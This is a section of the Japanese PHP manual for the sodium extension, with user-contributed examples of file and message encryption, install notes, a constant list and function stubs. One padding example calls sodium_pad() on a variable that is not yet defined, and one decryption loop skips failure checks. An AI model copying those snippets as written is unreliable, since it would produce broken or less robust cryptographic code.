$secret_key = sodium_crypto_pwhash(SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES,
                                   $password, $salt, $opslimit, $memlimit, $alg);

$fd_in = fopen($input_file, 'rb');
$fd_out = fopen($encrypted_file, 'wb');

fwrite($fd_out, pack('C', $alg));
fwrite($fd_out, pack('P', $opslimit));
fwrite($fd_out, pack('P', $memlimit));
fwrite($fd_out, $salt);

list($stream, $header) = sodium_crypto_secretstream_xchacha20poly1305_init_push($secret_key);

fwrite($fd_out, $header);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
do {
    $chunk = fread($fd_in, $chunk_size);
    if (stream_get_meta_data($fd_in)['unread_bytes'] <= 0) {
        $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL;
    }
    $encrypted_chunk = sodium_crypto_secretstream_xchacha20poly1305_push($stream, $chunk, '', $tag);
    fwrite($fd_out, $encrypted_chunk);
} while ($tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL);

fclose($fd_out);
fclose($fd_in);
?>

Read the stored parameters and decrypt the file:

<?php
$decrypted_file = '/tmp/example.dec';

$fd_in = fopen($encrypted_file, 'rb');
$fd_out = fopen($decrypted_file, 'wb');

$alg = unpack('C', fread($fd_in, 1))[1];
$opslimit = unpack('P', fread($fd_in, 8))[1];
$memlimit = unpack('P', fread($fd_in, 8))[1];
$salt = fread($fd_in, SODIUM_CRYPTO_PWHASH_SALTBYTES);

$header = fread($fd_in, SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES);

$secret_key = sodium_crypto_pwhash(SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES,
                                   $password, $salt, $opslimit, $memlimit, $alg);

$stream = sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $secret_key);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
while (stream_get_meta_data($fd_in)['unread_bytes'] > 0 &&
       $tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL) {
    $chunk = fread($fd_in, $chunk_size + SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES);
    $res = sodium_crypto_secretstream_xchacha20poly1305_pull($stream, $chunk);
    if ($res === FALSE) {
       break;
    }
    list($decrypted_chunk, $tag) = $res;
    fwrite($fd_out, $decrypted_chunk);
}
$ok = stream_get_meta_data($fd_in)['unread_bytes'] <= 0;

fclose($fd_out);
fclose($fd_in);

if (!$ok) {
    die('Invalid/corrupted input');
}
?>

How it works:

A password cannot be directly used as a secret key. Passwords are
short, must be typable on a keyboard, and people who don't use a
password manager should be able to remember them.

A 8 characters password is thus way weaker than a 8 bytes key.

The `sodium_crypto_pwhash()` function perform a computationally
intensive operation on a password in order to derive a secret key.

By doing do, brute-forcing all possible passwords in order to find the
secret key used to encrypt the data becomes an expensive operation.

Multiple algorithms can be used to derive a key from a password, and
for each of them, different parameters can be chosen. It is important
to store all of these along with encrypted data. Using the same
algorithm and the same parameters, the same secret key can be
deterministically recomputed.
jedisct1 at php dot net 15-Dec-2017 08:46
## Encrypt a file using a secret key

<?php
$secret_key = sodium_crypto_secretstream_xchacha20poly1305_keygen();
$input_file = '/tmp/example.original';
$encrypted_file = '/tmp/example.enc';
$chunk_size = 4096;

$fd_in = fopen($input_file, 'rb');
$fd_out = fopen($encrypted_file, 'wb');

list($stream, $header) = sodium_crypto_secretstream_xchacha20poly1305_init_push($secret_key);

fwrite($fd_out, $header);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
do {
    $chunk = fread($fd_in, $chunk_size);
    if (stream_get_meta_data($fd_in)['unread_bytes'] <= 0) {
        $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL;
    }
    $encrypted_chunk = sodium_crypto_secretstream_xchacha20poly1305_push($stream, $chunk, '', $tag);
    fwrite($fd_out, $encrypted_chunk);
} while ($tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL);

fclose($fd_out);
fclose($fd_in);
?>

Decrypt the file:

<?php
$decrypted_file = '/tmp/example.dec';

$fd_in = fopen($encrypted_file, 'rb');
$fd_out = fopen($decrypted_file, 'wb');

$header = fread($fd_in, SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES);

$stream = sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $secret_key);

$tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE;
while (stream_get_meta_data($fd_in)['unread_bytes'] > 0 &&
       $tag !== SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL) {
    $chunk = fread($fd_in, $chunk_size + SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES);
    list($decrypted_chunk, $tag) = sodium_crypto_secretstream_xchacha20poly1305_pull($stream, $chunk);
    fwrite($fd_out, $decrypted_chunk);
}
$ok = stream_get_meta_data($fd_in)['unread_bytes'] <= 0;

fclose($fd_out);
fclose($fd_in);

if (!$ok) {
    die('Invalid/corrupted input');
}
?>

How it works:

There's a little bit more code than in the previous examples.

In fact, `crypto_secretbox()` would work to encrypt as file, but only
if that file is pretty small. Since we have to provide the entire
content as a string, it has to fit in memory.

If the file is large, we can split it into small chunks, and encrypt
chunks individually.

By doing do, we can encrypt arbitrary large files. But we need to make
sure that chunks cannot be deleted, truncated, duplicated and
reordered. In other words, we don't have a single "message", but a
stream of messages, and during the decryption process, we need a way
to check that the whole stream matches what we encrypted.

So we create a new stream (`init_push`) and push a sequence of messages
into it (`push`). Each individual message has a tag attached to it, by
default `TAG_MESSAGE`. In order for the decryption process to know
where the end of the stream is, we tag the last message with the
`TAG_FINAL` tag.

When we consume the stream (`init_pull`, then `pull` for each
message), we check that they can be properly decrypted, and retrieve
both the decrypted chunks and the attached tags. If we read the last
chunk (`TAG_FINAL`) and we are at the end of the file, we know that we
completely recovered the original stream.
jedisct1 at php dot net 15-Dec-2017 08:44
## Encrypt a single message using a secret key

Encryption:

```php
$secret_key = sodium_crypto_secretbox_keygen();
$message = 'Sensitive information';

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$encrypted_message = sodium_crypto_secretbox($message, $nonce, $secret_key);
```

Decryption:

```php
$decrypted_message = sodium_crypto_secretbox_open($encrypted_message, $nonce, $secret_key);
```

How it works:

`$secret_key` is a secret key. Not a password. It's binary data, not
something designed to be human readable, but rather to have a key
space as large as possible for a given length.
The `keygen()` function creates such a key. That has to remain secret,
as it is used both to encrypt and decrypt data.

`$nonce` is a unique value. Like the secret, its length is fixed. But
it doesn't have to be secret, and can be sent along with the encrypted
message. The nonce doesn't have to be unpredicable either. It just has
to be unique for a given key. With the `secretbox()` API, using
`random_bytes()` is a totally fine way to generate nonces.

Encrypted messages are slightly larger than unencrypted messages,
because they include an authenticator, used by the decryption function
to check that the content was not altered.

## Encrypt a single message using a secret key, and hide its length

Encryption:

```php
$secret_key = sodium_crypto_secretbox_keygen();
$message = 'Sensitive information';
$block_size = 16;

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$padded_message = sodium_pad($padded_message, $block_size);
$encrypted_message = sodium_crypto_secretbox($padded_message, $nonce, $secret_key);
```

Decryption:

```php
$decrypted_padded_message = sodium_crypto_secretbox_open($encrypted_message, $nonce, $secret_key);
$decrypted_message = sodium_unpad($decrypted_padded_message, $block_size);
```

How it works:

Sometimes, the length of a message may provide a lot of information
about its nature. If a message is one of "yes", "no" and "maybe",
encrypting the message doesn't help: knowing the length is enough to
know what the message is.

Padding is a technique to mitigate this, by making the length a
multiple of a given block size.

Messages must be padded prior to encryption, and unpadded after
decryption.
rafayhingoro at hotmail dot com 10-Dec-2017 06:26
<?php
//Simple Usage

/**
 * Encrypt a message
 *
 * @param string $message - message to encrypt
 * @param string $key - encryption key
 * @return string
 */
function safeEncrypt($message, $key)
{
    $nonce = random_bytes(
        SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
    );

    $cipher = base64_encode(
        $nonce.
        sodium_crypto_secretbox(
            $message,
            $nonce,
            $key
        )
    );
    sodium_memzero($message);
    sodium_memzero($key);
    return $cipher;
}

/**
 * Decrypt a message
 *
 * @param string $encrypted - message encrypted with safeEncrypt()
 * @param string $key - encryption key
 * @return string
 */
function safeDecrypt($encrypted, $key)
{
    $decoded = base64_decode($encrypted);
    if ($decoded === false) {
        throw new Exception('Scream bloody murder, the encoding failed');
    }
    if (mb_strlen($decoded, '8bit') < (SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + SODIUM_CRYPTO_SECRETBOX_MACBYTES)) {
        throw new Exception('Scream bloody murder, the message was truncated');
    }
    $nonce = mb_substr($decoded, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '8bit');
    $ciphertext = mb_substr($decoded, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, null, '8bit');

    $plain = sodium_crypto_secretbox_open(
        $ciphertext,
        $nonce,
        $key
    );
    if ($plain === false) {
         throw new Exception('the message was tampered with in transit');
    }
    sodium_memzero($ciphertext);
    sodium_memzero($key);
    return $plain;
}
//Encrypt & Decrypt your message
$key = sodium_crypto_secretbox_keygen();
$enc = safeEncrypt('Abdul Rafay Hingoro', $key); //generates random  encrypted string (Base64 related)
echo $enc;
echo '<br>';
$dec = safeDecrypt($enc, $key); //decrypts encoded string generated via safeEncrypt function
echo $dec;
?>

//Output
DEx9ATXEg/eRq8GWD3NT5BatB3m31WEDEYLK2V4L0Am5GZGoa2rvYWUpoUeCrm7W/pdgLJrNoE6AA8U=
Abdul Rafay Hingoro


要件

この拡張機能は、» libsodium ? 1.0.8 を必要とします。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP 7.2.0 以降、この拡張機能は PHP 本体にバンドルされています。 それより前の PHP のバージョンでは、 この拡張機能は PECL 経由で利用可能です。

Linux システムへのインストール

この拡張機能を使うには、 configure オプション --with-sodium[=DIR] を使い、 sodium のサポートを有効にして PHP をコンパイルしなければいけません。

Windows

この拡張機能を使うには、 extension=php_sodium.dll を php.ini に追加しなければなりません。

PECL 経由でのインストール

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/libsodium

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SODIUM_LIBRARY_VERSION (string)
SODIUM_LIBRARY_MAJOR_VERSION (int)
SODIUM_LIBRARY_MINOR_VERSION (int)
SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES (int)
SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES (int)
SODIUM_CRYPTO_AUTH_BYTES (int)
SODIUM_CRYPTO_AUTH_KEYBYTES (int)
SODIUM_CRYPTO_BOX_SEALBYTES (int)
SODIUM_CRYPTO_BOX_SECRETKEYBYTES (int)
SODIUM_CRYPTO_BOX_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_BOX_KEYPAIRBYTES (int)
SODIUM_CRYPTO_BOX_MACBYTES (int)
SODIUM_CRYPTO_BOX_NONCEBYTES (int)
SODIUM_CRYPTO_BOX_SEEDBYTES (int)
SODIUM_CRYPTO_KDF_BYTES_MIN (int)
SODIUM_CRYPTO_KDF_BYTES_MAX (int)
SODIUM_CRYPTO_KDF_CONTEXTBYTES (int)
SODIUM_CRYPTO_KDF_KEYBYTES (int)
SODIUM_CRYPTO_KX_SEEDBYTES (int)
SODIUM_CRYPTO_KX_SESSIONKEYBYTES (int)
SODIUM_CRYPTO_KX_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_KX_SECRETKEYBYTES (int)
SODIUM_CRYPTO_KX_KEYPAIRBYTES (int)
SODIUM_CRYPTO_GENERICHASH_BYTES (int)
SODIUM_CRYPTO_GENERICHASH_BYTES_MIN (int)
SODIUM_CRYPTO_GENERICHASH_BYTES_MAX (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN (int)
SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX (int)
SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 (int)
SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 (int)
SODIUM_CRYPTO_PWHASH_ALG_DEFAULT (int)
SODIUM_CRYPTO_PWHASH_SALTBYTES (int)
SODIUM_CRYPTO_PWHASH_STRPREFIX (string)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE (int)
SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX (string)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE (int)
SODIUM_CRYPTO_SCALARMULT_BYTES (int)
SODIUM_CRYPTO_SCALARMULT_SCALARBYTES (int)
SODIUM_CRYPTO_SHORTHASH_BYTES (int)
SODIUM_CRYPTO_SHORTHASH_KEYBYTES (int)
SODIUM_CRYPTO_SECRETBOX_KEYBYTES (int)
SODIUM_CRYPTO_SECRETBOX_MACBYTES (int)
SODIUM_CRYPTO_SECRETBOX_NONCEBYTES (int)
SODIUM_CRYPTO_SIGN_BYTES (int)
SODIUM_CRYPTO_SIGN_SEEDBYTES (int)
SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES (int)
SODIUM_CRYPTO_SIGN_SECRETKEYBYTES (int)
SODIUM_CRYPTO_SIGN_KEYPAIRBYTES (int)
SODIUM_CRYPTO_STREAM_NONCEBYTES (int)
SODIUM_CRYPTO_STREAM_KEYBYTES (int)

User Contributed Notes

There are no user contributed notes for this page.


Sodium 関数

目次

  • sodium_add — Add large numbers
  • sodium_base642bin — Description
  • sodium_bin2base64 — Description
  • sodium_bin2hex — Encode to hexadecimal
  • sodium_compare — Compare large numbers
  • sodium_crypto_aead_aes256gcm_decrypt — Decrypt in combined mode with precalculation
  • sodium_crypto_aead_aes256gcm_encrypt — Encrypt in combined mode with precalculation
  • sodium_crypto_aead_aes256gcm_is_available — Check if hardware supports AES256-GCM
  • sodium_crypto_aead_aes256gcm_keygen — Get random bytes for key
  • sodium_crypto_aead_chacha20poly1305_decrypt — Verify that the ciphertext includes a valid tag
  • sodium_crypto_aead_chacha20poly1305_encrypt — Encrypt a message
  • sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Verify that the ciphertext includes a valid tag
  • sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Encrypt a message
  • sodium_crypto_aead_chacha20poly1305_ietf_keygen — Get random bytes for key
  • sodium_crypto_aead_chacha20poly1305_keygen — Get random bytes for key
  • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — Description
  • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — Description
  • sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Description
  • sodium_crypto_auth_keygen — Get random bytes for key
  • sodium_crypto_auth_verify — Verifies that the tag is valid for the message
  • sodium_crypto_auth — Compute a tag for the message
  • sodium_crypto_box_keypair_from_secretkey_and_publickey — Description
  • sodium_crypto_box_keypair — Randomly generate a secret key and a corresponding public key
  • sodium_crypto_box_open — Verify and decrypt a ciphertext
  • sodium_crypto_box_publickey_from_secretkey — Description
  • sodium_crypto_box_publickey — Description
  • sodium_crypto_box_seal_open — Decrypt the ciphertext
  • sodium_crypto_box_seal — Encrypt a message
  • sodium_crypto_box_secretkey — Description
  • sodium_crypto_box_seed_keypair — Deterministically derive the key pair from a single key
  • sodium_crypto_box — Encrypt a message
  • sodium_crypto_generichash_final — Complete the hash
  • sodium_crypto_generichash_init — Initialize a hash
  • sodium_crypto_generichash_keygen — Get random bytes for key
  • sodium_crypto_generichash_update — Add message to a hash
  • sodium_crypto_generichash — Get a hash of the message
  • sodium_crypto_kdf_derive_from_key — Derive a subkey
  • sodium_crypto_kdf_keygen — Get random bytes for key
  • sodium_crypto_kx_client_session_keys — Description
  • sodium_crypto_kx_keypair — Creates a new sodium keypair
  • sodium_crypto_kx_publickey — Description
  • sodium_crypto_kx_secretkey — Description
  • sodium_crypto_kx_seed_keypair — Description
  • sodium_crypto_kx_server_session_keys — Description
  • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Verify that the password is a valid password verification string
  • sodium_crypto_pwhash_scryptsalsa208sha256_str — Get an ASCII encoded hash
  • sodium_crypto_pwhash_scryptsalsa208sha256 — Derives a key from a password
  • sodium_crypto_pwhash_str_needs_rehash — Description
  • sodium_crypto_pwhash_str_verify — Verifies that a password matches a hash
  • sodium_crypto_pwhash_str — Get an ASCII-encoded hash
  • sodium_crypto_pwhash — Derive a key from a password
  • sodium_crypto_scalarmult_base — のエイリアス sodium_crypto_box_publickey_from_secretkey
  • sodium_crypto_scalarmult — Compute a shared secret given a user's secret key and another user's public key
  • sodium_crypto_secretbox_keygen — Get random bytes for key
  • sodium_crypto_secretbox_open — Verify and decrypt a ciphertext
  • sodium_crypto_secretbox — Encrypt a message
  • sodium_crypto_secretstream_xchacha20poly1305_init_pull — Description
  • sodium_crypto_secretstream_xchacha20poly1305_init_push — Description
  • sodium_crypto_secretstream_xchacha20poly1305_keygen — Description
  • sodium_crypto_secretstream_xchacha20poly1305_pull — Description
  • sodium_crypto_secretstream_xchacha20poly1305_push — Description
  • sodium_crypto_secretstream_xchacha20poly1305_rekey — Description
  • sodium_crypto_shorthash_keygen — Get random bytes for key
  • sodium_crypto_shorthash — Compute a fixed-size fingerprint for the message
  • sodium_crypto_sign_detached — Sign the message
  • sodium_crypto_sign_ed25519_pk_to_curve25519 — Convert an Ed25519 public key to a Curve25519 public key
  • sodium_crypto_sign_ed25519_sk_to_curve25519 — Convert an Ed25519 secret key to a Curve25519 secret key
  • sodium_crypto_sign_keypair_from_secretkey_and_publickey — Description
  • sodium_crypto_sign_keypair — Randomly generate a secret key and a corresponding public key
  • sodium_crypto_sign_open — Check that the signed message has a valid signature
  • sodium_crypto_sign_publickey_from_secretkey — Extract the public key from the secret key
  • sodium_crypto_sign_publickey — Description
  • sodium_crypto_sign_secretkey — Description
  • sodium_crypto_sign_seed_keypair — Deterministically derive the key pair from a single key
  • sodium_crypto_sign_verify_detached — Verify signature for the message
  • sodium_crypto_sign — Sign a message
  • sodium_crypto_stream_keygen — Get random bytes for key
  • sodium_crypto_stream_xor — Encrypt a message
  • sodium_crypto_stream — Generate a deterministic sequence of bytes from a seed
  • sodium_hex2bin — Decodes a hexadecimally encoded binary string
  • sodium_increment — Increment large number
  • sodium_memcmp — Test for equality in constant-time
  • sodium_memzero — Overwrite buf with zeros
  • sodium_pad — Add padding data
  • sodium_unpad — Remove padding data

User Contributed Notes

There are no user contributed notes for this page.


Add large numbers

  • ≪ Sodium 関数
  • sodium_base642bin ≫
  • PHP Manual
  • Sodium 関数
  • Add large numbers

sodium_add

(PHP 7 >= 7.2.0, PHP 8)

sodium_add — Add large numbers

説明

sodium_add ( string &$string1 , string $string2 ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string1

string2

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_add
  • sodium_bin2base64 ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_base642bin

(PHP 7 >= 7.2.0, PHP 8)

sodium_base642bin — Description

説明

sodium_base642bin ( string $string , int $id , string $ignore = "" ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

id

ignore

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_base642bin
  • sodium_bin2hex ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_bin2base64

(PHP 7 >= 7.2.0, PHP 8)

sodium_bin2base64 — Description

説明

sodium_bin2base64 ( string $string , int $id ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

id

返り値

User Contributed Notes

davidw at example dot com 02-Apr-2019 04:53
bin: The data you wish to encode
id: The variant of encoding to use, which can be one of the following constants. You'll need to reuse this value when decoding with sodium_base642bin.

SODIUM_BASE64_VARIANT_ORIGINAL            = 1
SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING = 3
SODIUM_BASE64_VARIANT_URLSAFE             = 5
SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING  = 7


Encode to hexadecimal

  • ≪ sodium_bin2base64
  • sodium_compare ≫
  • PHP Manual
  • Sodium 関数
  • Encode to hexadecimal

sodium_bin2hex

(PHP 7 >= 7.2.0, PHP 8)

sodium_bin2hex — Encode to hexadecimal

説明

sodium_bin2hex ( string $string ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

返り値

User Contributed Notes

There are no user contributed notes for this page.


Compare large numbers

  • ≪ sodium_bin2hex
  • sodium_crypto_aead_aes256gcm_decrypt ≫
  • PHP Manual
  • Sodium 関数
  • Compare large numbers

sodium_compare

(PHP 7 >= 7.2.0, PHP 8)

sodium_compare — Compare large numbers

説明

sodium_compare ( string $string1 , string $string2 ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string1

string2

返り値

User Contributed Notes

There are no user contributed notes for this page.


Decrypt in combined mode with precalculation

  • ≪ sodium_compare
  • sodium_crypto_aead_aes256gcm_encrypt ≫
  • PHP Manual
  • Sodium 関数
  • Decrypt in combined mode with precalculation

sodium_crypto_aead_aes256gcm_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_decrypt — Decrypt in combined mode with precalculation

説明

sodium_crypto_aead_aes256gcm_decrypt ( string $ciphertext , string $additional_data , string $nonce , string $key ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ciphertext

additional_data

nonce

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Encrypt in combined mode with precalculation

  • ≪ sodium_crypto_aead_aes256gcm_decrypt
  • sodium_crypto_aead_aes256gcm_is_available ≫
  • PHP Manual
  • Sodium 関数
  • Encrypt in combined mode with precalculation

sodium_crypto_aead_aes256gcm_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_encrypt — Encrypt in combined mode with precalculation

説明

sodium_crypto_aead_aes256gcm_encrypt ( string $message , string $additional_data , string $nonce , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

additional_data

nonce

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if hardware supports AES256-GCM

  • ≪ sodium_crypto_aead_aes256gcm_encrypt
  • sodium_crypto_aead_aes256gcm_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Check if hardware supports AES256-GCM

sodium_crypto_aead_aes256gcm_is_available

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_is_available — Check if hardware supports AES256-GCM

説明

sodium_crypto_aead_aes256gcm_is_available ( ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes for key

  • ≪ sodium_crypto_aead_aes256gcm_is_available
  • sodium_crypto_aead_chacha20poly1305_decrypt ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

sodium_crypto_aead_aes256gcm_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_aes256gcm_keygen — Get random bytes for key

説明

sodium_crypto_aead_aes256gcm_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Verify that the ciphertext includes a valid tag

  • ≪ sodium_crypto_aead_aes256gcm_keygen
  • sodium_crypto_aead_chacha20poly1305_encrypt ≫
  • PHP Manual
  • Sodium 関数
  • Verify that the ciphertext includes a valid tag

sodium_crypto_aead_chacha20poly1305_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_decrypt — Verify that the ciphertext includes a valid tag

説明

sodium_crypto_aead_chacha20poly1305_decrypt ( string $ciphertext , string $additional_data , string $nonce , string $key ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ciphertext

additional_data

nonce

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a message

  • ≪ sodium_crypto_aead_chacha20poly1305_decrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_decrypt ≫
  • PHP Manual
  • Sodium 関数
  • Encrypt a message

sodium_crypto_aead_chacha20poly1305_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_encrypt — Encrypt a message

説明

sodium_crypto_aead_chacha20poly1305_encrypt ( string $message , string $additional_data , string $nonce , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

additional_data

nonce

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Verify that the ciphertext includes a valid tag

  • ≪ sodium_crypto_aead_chacha20poly1305_encrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_encrypt ≫
  • PHP Manual
  • Sodium 関数
  • Verify that the ciphertext includes a valid tag

sodium_crypto_aead_chacha20poly1305_ietf_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_decrypt — Verify that the ciphertext includes a valid tag

説明

sodium_crypto_aead_chacha20poly1305_ietf_decrypt ( string $ciphertext , string $additional_data , string $nonce , string $key ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ciphertext

additional_data

nonce

key

返り値

User Contributed Notes

joy at codilar dot com 13-Aug-2019 07:31
sodium_crypto_aead_chacha20poly1305_ietf_decrypt function mentions in its documentation that it'll always return a string. But when passed a malformed input as argument, it returns a boolean


Encrypt a message

  • ≪ sodium_crypto_aead_chacha20poly1305_ietf_decrypt
  • sodium_crypto_aead_chacha20poly1305_ietf_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Encrypt a message

sodium_crypto_aead_chacha20poly1305_ietf_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_ietf_encrypt — Encrypt a message

説明

sodium_crypto_aead_chacha20poly1305_ietf_encrypt ( string $message , string $additional_data , string $nonce , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

additional_data

nonce

key

返り値

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:37
Here's a quick example on how to use sodium_crypto_aead_chacha20poly1305_ietf_encrypt(); where you have 1 key to encrypt and decrypt.

<?php

$key = sodium_crypto_aead_chacha20poly1305_ietf_keygen();

//--------------------------------------------------
// Encrypting

$message = 'hello';

$nonce = random_bytes(SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES);

$encrypted = sodium_crypto_aead_chacha20poly1305_ietf_encrypt($message, $nonce, $nonce, $key);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Decrypting

$decrypted = sodium_crypto_aead_chacha20poly1305_ietf_decrypt($encrypted, $nonce, $nonce, $key);

echo $decrypted . "\n";

?>

And just to confirm, the $nonce is used twice - the first time it's in the authentication tag ($ad):

https://twitter.com/craigfrancis/status/949614546259513344


Get random bytes for key

  • ≪ sodium_crypto_aead_chacha20poly1305_ietf_encrypt
  • sodium_crypto_aead_chacha20poly1305_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

